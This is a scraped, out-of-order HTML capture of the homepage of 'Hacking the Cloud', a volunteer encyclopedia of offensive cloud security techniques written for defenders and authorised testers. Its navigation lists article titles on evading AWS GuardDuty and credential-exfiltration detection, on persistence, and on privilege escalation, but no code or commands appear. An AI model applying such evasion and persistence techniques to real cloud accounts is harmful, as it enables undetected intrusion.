class=md-nav__item> <a href=aws/avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=aws/avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=aws/post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=aws/deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=aws/capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#contributing class=md-nav__link> <span class=md-ellipsis> Contributing </span> </a> </li> <li class=md-nav__item> <a href=#disclaimer class=md-nav__link> <span class=md-ellipsis> Disclaimer </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/index.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=home>Home<a class=headerlink href=#home title="Permanent link">&para;</a></h1> <figure> <p><a class=glightbox href=images/branding/hacking-the-cloud-wordmark.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Hacking the Cloud logo" src=images/branding/hacking-the-cloud-wordmark.jpg></a></p> </figure> <p>Hacking the cloud is an encyclopedia of the attacks/tactics/techniques that offensive security professionals can use on their next cloud exploitation adventure. The goal is to share this knowledge with the security community to better defend cloud native technologies.</p> <p>All content on this site is created by volunteers. If you'd like to be one of them, you can contribute your knowledge by submitting a <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>Pull Request</a>. We are open to content from any major cloud provider and will also accept cloud-related technologies as well (Docker, Terraform, K8s, etc.). Additionally you are encouraged to update/modify/improve existing pages as well.</p> <p>Topics can include offensive techniques, tools, general knowledge related to cloud security, etc. <strong>Defensive knowledge is also welcome!</strong> At the end of the day the primary goal is to make the cloud safer, and defenders are welcome to submit content all the same.</p> <p>Don't worry about submitting content in the wrong format or what section it should be a part of, we can always make improvements later :) When writing content about a technique identified by a researcher, credit the researcher who discovered it and link to their site/talk.</p> <h2 id=contributing>Contributing<a class=headerlink href=#contributing title="Permanent link">&para;</a></h2> <p>If you'd like to contribute to the site, please see our <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/CONTRIBUTING.md>contributing page</a>. Anything helps! An article, a paragraph, or even a fix for a grammar mistake.</p> <p>Please checkout the <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud>GitHub page</a> for more!</p> <h2 id=disclaimer>Disclaimer<a class=headerlink href=#disclaimer title="Permanent link">&para;</a></h2> <p>The information provided by Hacking the Cloud is intended to be used by professionals who are authorized to perform security assessments or by those defending cloud environments. While these techniques can be used to avoid detection, escalate privileges, compromise resources, etc. the intent is to improve security by making the knowledge of these techniques more generally available.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 29, 2021</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": ".", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=assets/javascripts/bundle.203fd0bc.min.js></script> <script src=javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#home class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 